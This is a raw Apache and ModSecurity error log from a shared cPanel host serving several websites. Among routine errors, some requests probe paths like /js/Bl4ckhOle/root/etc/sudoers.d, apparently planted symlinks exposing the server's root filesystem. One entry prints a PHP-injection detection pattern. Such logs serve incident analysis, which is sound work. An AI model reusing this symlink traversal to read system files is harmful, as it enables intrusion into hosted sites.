[Fri Jul 17 09:51:34.188031 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtzg5GPQ6hs4VrfMpNDwAAAAY"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:51:34.188077 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtzg5GPQ6hs4VrfMpNDwAAAAY"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:51:34.296728 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:51072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:34.882893 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/sudoers.d/' is executable
[Fri Jul 17 09:51:34.936719 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:34.949340 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/nftables/' is executable
[Fri Jul 17 09:51:34.949789 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/imunify-agent-proxy/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/imunify-agent-proxy/' is executable
[Fri Jul 17 09:51:35.022359 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/grub.d/' is executable
[Fri Jul 17 09:51:35.022452 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/csf/' is executable
[Fri Jul 17 09:51:35.236767 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/cmq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/cmq/' is executable
[Fri Jul 17 09:51:35.433675 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.50:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory103/subsystem/devices/memory143/subsystem/devices/memory41/subsystem/drivers_probe
[Fri Jul 17 09:51:35.652105 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/pam_imunify/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/pam_imunify/' is executable
[Fri Jul 17 09:51:35.697221 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/named/' is executable
[Fri Jul 17 09:51:35.912932 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/audit/' is executable
[Fri Jul 17 09:51:35.913122 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/sssd/' is executable
[Fri Jul 17 09:51:35.914472 2026] [core:crit] [pid 2050576:tid 2050576] (13)Permission denied: [client 189.130.162.173:49544] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/etc/firewalld/' is executable
[Fri Jul 17 09:51:38.857608 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:38.919803 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:51350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:38.940100 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:51360] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:38.980071 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.238737 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.359746 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.771899 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.831025 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.841882 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:39.976955 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:40.165686 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:40.688712 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:40.778665 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:40.870348 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:41.234889 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:41.961561 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 47.82.14.47:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Fri Jul 17 09:51:42.383028 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:42.621878 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:42.692158 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:42.881841 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:42.915950 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:43.139084 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:43.206744 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:46062] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:43.941841 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:44.075867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:44.085030 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:44.660245 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:45.384211 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almt2ZBVIrrUwtEhdafblwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:51:45.384265 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almt2ZBVIrrUwtEhdafblwAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:51:45.610012 2026] [cgi:error] [pid 2050581:tid 2050581] [client 110.249.202.65:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 09:51:45.814122 2026] [cgi:error] [pid 2050581:tid 2050581] [client 110.249.202.65:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 09:51:47.041922 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.054819 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.439404 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.442824 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.711109 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.806241 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almt2pgKQioIviBkYdpvfQAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1143&page_105=1072
[Fri Jul 17 09:51:47.806278 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almt2pgKQioIviBkYdpvfQAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1143&page_105=1072
[Fri Jul 17 09:51:47.827333 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.830793 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:47.849962 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:48.032312 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:48.039271 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:48.235872 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:46396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:49.253806 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.15.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/python2.7/site-packages/pip/commands/completion.pyo"] [unique_id "almt3Vh1WDijTxd1xw5XBwAAAAc"]
[Fri Jul 17 09:51:49.253844 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.15.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/python2.7/site-packages/pip/commands/completion.pyo"] [unique_id "almt3Vh1WDijTxd1xw5XBwAAAAc"]
[Fri Jul 17 09:51:49.291395 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:49.657659 2026] [security2:error] [pid 2050580:tid 2050580] [client 62.60.130.233:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?l found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-lljn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almt3ZgKQioIviBkYdpvfwAAABU"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:49.658800 2026] [security2:error] [pid 2050580:tid 2050580] [client 62.60.130.233:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almt3ZgKQioIviBkYdpvfwAAABU"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:49.705381 2026] [security2:error] [pid 2050580:tid 2050580] [client 62.60.130.233:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almt3ZgKQioIviBkYdpvfwAAABU"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:49.716243 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:49.739769 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:50.870366 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.29:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory65/subsystem/devices/memory98/node0/memory67/subsystem/drivers_probe
[Fri Jul 17 09:51:50.988278 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.368168 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.399338 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.8.180:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/ttyS1/device/driver/bind
[Fri Jul 17 09:51:51.618883 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.624012 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.630238 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.754812 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:51.863925 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:52.121656 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:55786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.223080 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:55796] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.317162 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:55806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.405084 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:55824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.496351 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:55832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.677470 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:52.959782 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:55910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:53.384761 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:55932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:54.837680 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:56034] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:56.801004 2026] [security2:error] [pid 2030804:tid 2030804] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almt5Ie39YUk0SgV8AVFCwAAABE"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:56.801056 2026] [security2:error] [pid 2030804:tid 2030804] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almt5Ie39YUk0SgV8AVFCwAAABE"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:57.357137 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:57.436775 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:56238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:57.772797 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:56264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:58.763821 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:56346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:59.031706 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:00.818768 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:56440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:01.127381 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almt6XXJZgUJ1jsEHj0s_QAAABc"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:52:01.127413 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almt6XXJZgUJ1jsEHj0s_QAAABc"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:52:02.628797 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:49152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:03.392205 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:49208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:03.991084 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:49250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:04.409839 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory87/node0/memory127/node0/memory49/node0/memory132/"] [unique_id "almt7ARRrtuZqNDDSqW6rQAAABo"]
[Fri Jul 17 09:52:04.409881 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory87/node0/memory127/node0/memory49/node0/memory132/"] [unique_id "almt7ARRrtuZqNDDSqW6rQAAABo"]
[Fri Jul 17 09:52:04.510576 2026] [cgi:error] [pid 2018741:tid 2018741] [client 103.218.242.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://mx.yashiholdings.com/
[Fri Jul 17 09:52:04.510671 2026] [cgi:error] [pid 2018741:tid 2018741] [client 103.218.242.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://mx.yashiholdings.com/
[Fri Jul 17 09:52:05.827305 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:49432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:05.934459 2026] [cgi:error] [pid 2013797:tid 2013797] [client 103.218.242.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://mx.yashiholdings.com/
[Fri Jul 17 09:52:05.934539 2026] [cgi:error] [pid 2013797:tid 2013797] [client 103.218.242.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://mx.yashiholdings.com/
[Fri Jul 17 09:52:08.044569 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:52:08.605572 2026] [security2:error] [pid 2030804:tid 2030804] [client 61.245.161.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.layeranimation.min.js"] [unique_id "almt8Ie39YUk0SgV8AVFGAAAABE"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 09:52:08.605628 2026] [security2:error] [pid 2030804:tid 2030804] [client 61.245.161.31:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.layeranimation.min.js"] [unique_id "almt8Ie39YUk0SgV8AVFGAAAABE"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 09:52:08.745263 2026] [security2:error] [pid 2050576:tid 2050576] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/wp-admin/index.php"] [unique_id "almt8JuhBssQvDAz4zCrxwAAABI"], referer: https://bostonlanka.com/wp-login.php
